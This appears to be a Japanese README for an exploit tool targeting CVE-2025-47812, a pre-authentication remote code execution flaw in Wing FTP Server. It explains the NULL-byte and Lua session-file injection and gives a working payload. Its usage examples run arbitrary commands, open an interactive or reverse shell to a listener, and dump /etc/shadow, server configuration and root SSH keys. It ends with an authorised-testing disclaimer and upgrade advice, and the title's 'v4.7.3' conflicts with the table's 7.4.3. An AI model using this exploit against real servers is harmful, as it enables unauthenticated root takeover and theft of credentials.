
WingFTP v4.7.3 向け RCE
██╗ ██╗██╗███╗ ██╗ ██████╗ ███████╗████████╗██████╗
██║ ██║██║████╗ ██║██╔════╝ ██╔════╝╚══██╔══╝██╔══██╗
██║ █╗ ██║██║██╔██╗ ██║██║ ███╗ █████╗ ██║ ██████╔╝
██║███╗██║██║██║╚██╗██║██║ ██║ ██╔══╝ ██║ ██╔═══╝
╚███╔███╔╝██║██║ ╚████║╚██████╔╝ ██║ ██║ ██║
╚══╝╚══╝ ╚═╝╚═╝ ╚═══╝ ╚═════╝ ╚═╝ ╚═╝ ╚═╝
| 項目 | 詳細 |
|---|---|
| CVE | CVE-2025-47812 |
| 影響を受けるバージョン | Wing FTP Server <= 7.4.3 |
| 修正バージョン | Wing FTP Server 7.4.4 |
| CVSS | 10.0(緊急) |
| 認証要件 | 不要(匿名ログインのみで十分) |
| 取得権限 | root(Linux)/ NT AUTHORITY\SYSTEM(Windows) |
| 発見者 | Julien Ahrens (@MrTuxracer) — rcesecurity.com |
Wing FTP Server の Web インターフェースには、認証前の 2 段階で実行されるリモートコード実行(RCE)攻撃に対する脆弱性があります。
Wing FTP バイナリ内の c_CheckUser() 関数は内部で strlen() を使用しているため、ユーザー名文字列は最初の NULL バイト(\x00)で切り詰められます。つまり、anonymous(または任意の有効なユーザー)が存在する限り、anonymous%00<arbitrary_data> のようなユーザー名は認証を通過します。
認証が成功すると、loginok.html は サニタイズされていない完全な POST パラメータ(NULL バイト以降のすべてを含む)を rawset(_SESSION, "username", username) に渡します。その後、セッションは SessionModule.save() によってディスク上の Lua スクリプトファイルにシリアライズされます。
シリアライズ関数は文字列値をサニタイズせずに Lua のロング文字列リテラル [[...]] でラップするため、ユーザー名に ]] を挿入することで文字列リテラルを途中で終了させ、セッションファイルに任意の Lua コードを追加できます。
ペイロード構造:
anonymous\x00]]
local h = io.popen("id")
local r = h:read("*a")
h:close()
print(r)
--
末尾の -- は、Wing FTP が値の後に追加する ]] をコメントアウトします。
セッションファイル(UID クッキー値にちなんで命名されます)は Lua スクリプトであり、認証済みエンドポイントにアクセスするたびに loadfile() + f() で実行されます。UID クッキーを付けて POST /dir.html を送信すると、注入された Lua が実行され、<?xml コンテンツの前にコマンド出力がレスポンスボディに返されます。
requests, urllib3pip install -r requirements.txt
usage: CVE-2025-47812 [-h] [-U USER] [-P PASS] [--vhost HOST] [--timeout N]
[--verify-ssl]
[--cmd CMD | --shell | --revshell | --dump]
[--lhost IP] [--lport PORT] [--listen]
target
# Single command
python3 CVE-2025-47812.py http://ftp.target.com --cmd "id"
python3 CVE-2025-47812.py http://ftp.target.com --cmd "cat /etc/passwd"
# Target by IP (Wing FTP uses virtual-host routing — supply hostname with --vhost)
python3 CVE-2025-47812.py http://10.10.10.10 --vhost ftp.target.com --cmd "id"
# Interactive pseudo-shell
python3 CVE-2025-47812.py http://ftp.target.com --shell
# Reverse shell (start nc listener separately)
python3 CVE-2025-47812.py http://ftp.target.com --revshell --lhost 10.10.14.5 --lport 4444
# Reverse shell with built-in listener
python3 CVE-2025-47812.py http://ftp.target.com --revshell --listen --lhost 10.10.14.5 --lport 4444
# Dump sensitive files (/etc/passwd, /etc/shadow, Wing.cfg, root SSH key)
python3 CVE-2025-47812.py http://ftp.target.com --dump
# With non-anonymous credentials
python3 CVE-2025-47812.py http://ftp.target.com -U ftpuser -P secret --cmd "whoami"
Wing FTP Server を バージョン 7.4.4 以上にアップグレードしてください。
本ツールは、教育目的および許可を得たペネトレーションテスト専用に提供されます。所有していない、または明示的な書面によるテスト許可を得ていないシステムに対してこのエクスプロイトを実行することは、違法かつ非倫理的です。著者は誤用に対していかなる責任も負いません。